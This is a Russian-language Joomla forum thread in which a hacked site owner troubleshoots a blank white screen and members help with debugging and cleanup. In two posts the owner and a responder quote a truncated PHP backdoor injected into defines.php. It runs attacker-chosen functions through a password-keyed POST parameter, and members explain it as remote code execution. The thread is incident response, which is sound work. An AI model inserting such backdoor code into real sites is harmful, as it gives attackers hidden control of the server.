Форум русской поддержки Joomla!® CMS
06.12.2016, 16:15:36 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

Войти
   
   Начало   Поиск Joomla 3.0 FAQ Joomla 2.5 FAQ Joomla 1.5 FAQ Правила форума Новости Joomla Реклама Войти Регистрация Помощь  
Страниц: [1] 2  Все   Вниз
  Добавить закладку  |  Печать  
Автор

Решение проблемы белого экрана после вируса

 (Прочитано 662 раз)
0 Пользователей и 1 Гость смотрят эту тему.
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« : 27.01.2016, 11:46:04 »

Добрый день,

Взломали.
Залили шелл.
Но файлы вируса были найдены и удалены.
Индексная страница была почищена от мусора.
Сделан архив всех файлов.
После, всё работало несколько дней.

На текущий момент, при заходе на главную страницу домена, белый экран.

Заливка файлов из "ремонтного" архива результата не даёт.

в логах доступа:
[27/Jan/2016:10:23:45 +0300] "GET / HTTP/1.0" 200 0 "-" "Mozilla/5.0 ….

при заходе же в админку, получаем 500 и белый экран.
[27/Jan/2016:10:23:57 +0300] "GET /administrator/ HTTP/1.0" 500 0 "-" "Mozilla/5.0…

error лог апачевский  при этом чист!
сами ошибки пишутся, если намеренно их сделать.
так же, ошибки отображаются если их намеренно сделать в индексном файле.
так как включены все
ini_set('display_errors',1);
error_reporting(E_ALL);
и т.д.

Подобная картина наблюдалась при попытке переименовать админску директорию, но на данный момент все названия директорий оригинальные.
А также был случай у кого-то, что подобная ситуация возникала при закрытии коннекта к твиттеру, коннект делал какой-то модуль в Joomla и создавал проблему, подвешивал Joomla. Как это проверить, не понятно.

Какие варианты еще рассмотреть?
Может быть права на запись файла какие-то изменены?
Есть файл notice.php – он пуст.

вирус был вроде php.shell-38

« Последнее редактирование: 27.01.2016, 11:57:14 от Dzen » Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #1 : 27.01.2016, 12:06:24 »

В Joomla конфиге есть такой параметр    public $debug = '0'; замените его на 1 и в дебаге смотрите суть проблемы
Записан
SeBun
Практически профи
*******

Репутация: +134/-3
Offline Offline

Пол: Мужской
Сообщений: 2281



« Ответ #2 : 27.01.2016, 12:09:38 »

Так же неплохо заглянуть в папку logs...
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #3 : 27.01.2016, 12:12:00 »

В Joomla конфиге есть такой параметр    public $debug = '0'; замените его на 1 и в дебаге смотрите суть проблемы

спасибо, включил, но куда дебагится всё это дело? в /logs/ вроде нету
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #4 : 27.01.2016, 12:12:44 »

спасибо, включил, но куда дебагится всё это дело? в /logs/ вроде нету

в футере вашего сайта смотрите консоль выскачит
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #5 : 27.01.2016, 12:17:48 »

в футере вашего сайта смотрите консоль выскачит

так белый экран, ничего ж не открывается.

Так же неплохо заглянуть в папку logs...

error.php - последняя запись в 2015 году.

в joomla_update.php
Обновление до версии 3.4.8 из github.com/joomla/joomla-cms/releases/download/3.4.8/
это после первой починки.
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #6 : 27.01.2016, 12:30:07 »

Попробуйте такой набор в php:
Цитировать
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);

или в htaccess:
Цитировать
php_value display_errors 1
php_value display_startup_errors 1
php_value error_reporting E_ALL
Записан
Arkadiy
Группа развития
*****

Репутация: +431/-0
Offline Offline

Пол: Мужской
Сообщений: 5315


Крепитесь, други.


« Ответ #7 : 27.01.2016, 12:32:55 »

Не надо так пробовать, вывод ошибок прекрасно включается в настройках Joomla.
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #8 : 27.01.2016, 12:36:11 »

Не надо так пробовать, вывод ошибок прекрасно включается в настройках Joomla.

ну до настроек может дело не доходить при исполнении скрипта


Попробуйте такой набор в php:
или в htaccess:

тоже самое
экран белый
error лог апачевский чист
в доступ логе код 200

Записан
Arkadiy
Группа развития
*****

Репутация: +431/-0
Offline Offline

Пол: Мужской
Сообщений: 5315


Крепитесь, други.


« Ответ #9 : 27.01.2016, 12:57:40 »

ну до настроек может дело не доходить при исполнении скрипта
Практически в 100% случаев доходит. Делайте сначала самые простые вещи, успеете в коде поковыряться.
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #10 : 27.01.2016, 13:03:26 »

Практически в 100% случаев доходит. Делайте сначала самые простые вещи, успеете в коде поковыряться.

сделали
public $debug = '1';
не помогло

еще чего можно?

было обновление до версии 3.4.8 , оно не вносит ли какие-то изменения в таблицы в базе?
потому как рассматриваю вариант, что после обновления, могли подменить новый php файл, на старый, который запросы к базе делает к другим полям. И как результат, конфликт и тишина. Нет? Если да, то как посмотреть.
Варианты включения показа ошибок ничего не дают.

в конфиге еще стоит
   public $error_reporting = 'default';
Записан
Arkadiy
Группа развития
*****

Репутация: +431/-0
Offline Offline

Пол: Мужской
Сообщений: 5315


Крепитесь, други.


« Ответ #11 : 27.01.2016, 13:05:36 »

Я говорил про настройки Joomla. http://joxi.ru/p27W0b8t0xW7W2 Отладка и сообщения об ошибках - разные вещи.
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #12 : 27.01.2016, 13:05:56 »

если его намеренно сделать с ошибкой:
public $error_reporting = E_ALL; а не 'E_ALL' , т.е. написать без кавычек.

то получим на главной странице:

Fatal error: Cannot redeclare file_put_contents() in /home/..../www/plugins/system/xcalendar/xcalendar.php on line 205

но это вроде бы норма.
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #13 : 27.01.2016, 13:06:49 »

Я говорил про настройки Joomla. http://joxi.ru/p27W0b8t0xW7W2 Отладка и сообщения об ошибках - разные вещи.

ну чтоб в настройки-то войти надо в админку попасть:)
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #14 : 27.01.2016, 13:10:18 »

админка выдаёт 500! в логе аппача
Записан
Arkadiy
Группа развития
*****

Репутация: +431/-0
Offline Offline

Пол: Мужской
Сообщений: 5315


Крепитесь, други.


« Ответ #15 : 27.01.2016, 13:12:05 »

Тогда поставьте $error_reporting = 'development'; в конфиге.
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #16 : 27.01.2016, 13:23:02 »

Тогда поставьте $error_reporting = 'development'; в конфиге.

про вывод ошибок, нашёл.

почему-то в includes/defines.php

стоял еррор_репортинг = 0 !
который выключал принудительные установки вывода ошибок в индексном файле.

код defines.php:
Код:
...
error_reporting(0);
$_passssword = '.....................';

$p = $_POST;

if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @$p[$_passssword](@$p['a'], @$p['c'], '');


if (!empty($_GET['check']) AND $_GET['check'] == $_passssword) {
    echo('<!--checker_start ');
    $tmp = request_url_data('http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css');


и теперь получаем:

Fatal error: Cannot redeclare file_put_contents() in /home/..../..../www/plugins/system/xcalendar/xcalendar.php on line 205

закрыты права на запись файла? проблема в этом плагине видимо.
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #17 : 27.01.2016, 13:28:35 »

Знакомый бегдор!, вы сначало сайт от вирусов почистите, а потом подправляйте систему, битые файлы!

P.S: Какой то касяченый взломщик, так систему палить....
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #18 : 27.01.2016, 13:35:30 »

Знакомый бегдор!, вы сначало сайт от вирусов почистите, а потом подправляйте систему, битые файлы!

P.S: Какой то касяченый взломщик, так систему палить....

знакомый бекдор это про xcalendar? или про те изменения которые в defines.php ?
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #19 : 27.01.2016, 13:39:36 »

в общем сделал пока так и всё работает.

закомментил функцию в xcalendar.php:

Код:

if (!function_exists("file_put_contents")) {
function file_put_contents($filename, $text) {
$f = fopen($filename, "w");
if (!$f) return false;

if (!fwrite($f, $text)) return false;
fclose($f);

return true;
}


}



Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #20 : 27.01.2016, 13:41:55 »

знакомый бекдор это про xcalendar? или про те изменения которые в defines.php ?
Это про те изменения, что в defines.php, от сюда следует что сначала пролечите сайт, а потом разберайтесь, что не учли и в чем может быть проблема, также не ясно что там у вас в xcalendar.php  on line 205, по ошибки, что то обработать вроде не может...
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #21 : 27.01.2016, 13:48:33 »

не ясно что там у вас в xcalendar.php  on line 205, по ошибки, что то обработать вроде не может...

функцию привёл выше, не может записать в файл вроде как

на defines.php поставил права 444
были 644
теперь в него не может никто писать вроде бы
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #22 : 27.01.2016, 13:50:38 »

функцию привёл выше, не может записать в файл вроде как

на defines.php поставил права 444
были 644
теперь в него не может никто писать вроде бы
А зачем в него писать, когда в нем уже все что нужно записано?, со 100% уверенностью могу сказать что это не один такой файл, про сканируйте айболитом в режиме параноика, а там сами убедитесь!
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #23 : 27.01.2016, 13:55:26 »

Цитировать
А зачем в него писать, когда в нем уже все что нужно записано?

а чтобы второй раз туда ничего не записали
и все функции внутри него я закомментил, вообще все что были.

там 4 сайта (4 папки) по одному доступу ftp
причём 2 сайта взломали
остальные нет или нет видимости
найти очень сложно каким способом был лом
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #24 : 27.01.2016, 14:12:44 »

Чуствую вам сложно что то доказывать, вообщем если есть необходимость, в этом разделе полно информации, разбирайтесь...
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #25 : 27.01.2016, 14:18:11 »

да нет, всё верно, просто почему файл не закрыть.
а проверить все файлы на вирусы надо, просто пока не ясно как лучше это сделать.

а так совершенно правы, т.к. в других файлах я уже обнаруживал странный мусор и комментил.
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #26 : 27.01.2016, 14:29:55 »

да нет, всё верно, просто почему файл не закрыть.
а проверить все файлы на вирусы надо, просто пока не ясно как лучше это сделать.

а так совершенно правы, т.к. в других файлах я уже обнаруживал странный мусор и комментил.

Как правило взломщики оставляют несколько бегдоров, а то и кучу и пару полноценных шеллов, что приводит к полноценному доступу к вашим сайтам, к соседям тоже, если на одном аккаунте, а там ничего не мешает крутить вертеть вашими сайтами, вплоть до того что обратно менять права с 0444 на 06444, на счет проверки, выше я вам писал про скрипт ai-bolit, вот им и сканьте все сайты...
Записан
Dzen
Осваиваюсь на форуме
***

Репутация: +0/-0
Offline Offline

Сообщений: 32


« Ответ #27 : 27.01.2016, 14:31:58 »

спасибо.

а как имеено взломали, кроме как анализа апачевских логов никаких не узреть?
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 725


Свободен для работы


« Ответ #28 : 27.01.2016, 14:38:19 »

Можите домены в ПМ кинуть с версиями движка?

P.S: Нужно следить за багтреками и понимать природу уязвимостей, тогда кроме апачевских логов станет все ясно...
Записан
SeBun
Практически профи
*******

Репутация: +134/-3
Offline Offline

Пол: Мужской
Сообщений: 2281



« Ответ #29 : 27.01.2016, 15:31:26 »

Объясню на пальцах. У вас был получен доступ к файловой системе сервера, произведена запись кода вида
Код
error_reporting(0);
$_passssword = '.....................';
 
$p = $_POST;
 
if (@$p[$_passssword] AND @$p['a'] AND @$p['c']) @.......

Этот код позволяет получить удаленный доступ к вашему сайту и выполнить произвольный код. Сейчас уже не имеют значение права, которые вы выставили, не имеет значение и то, что вы что то где то меняете. Если сами не понимаете, что делать, наймите специалиста. Вас взломали, и искать нужно не только следствие этого взлома, но и его причины. Пройдитесь сканером, как советовали, но опять же, что бы работать со сканером, нужно иметь хотя бы базовые знание PHP.
Записан
Страниц: [1] 2  Все   Вверх
  Добавить закладку  |  Печать  
 
Перейти в:  

Powered by SMF 1.1.21 | SMF © 2006, Simple Machines

Joomlaforum.ru is not affiliated with or endorsed by the Joomla! Project or Open Source Matters.
The Joomla! name and logo is used under a limited license granted by Open Source Matters
the trademark holder in the United States and other countries.

LiveInternet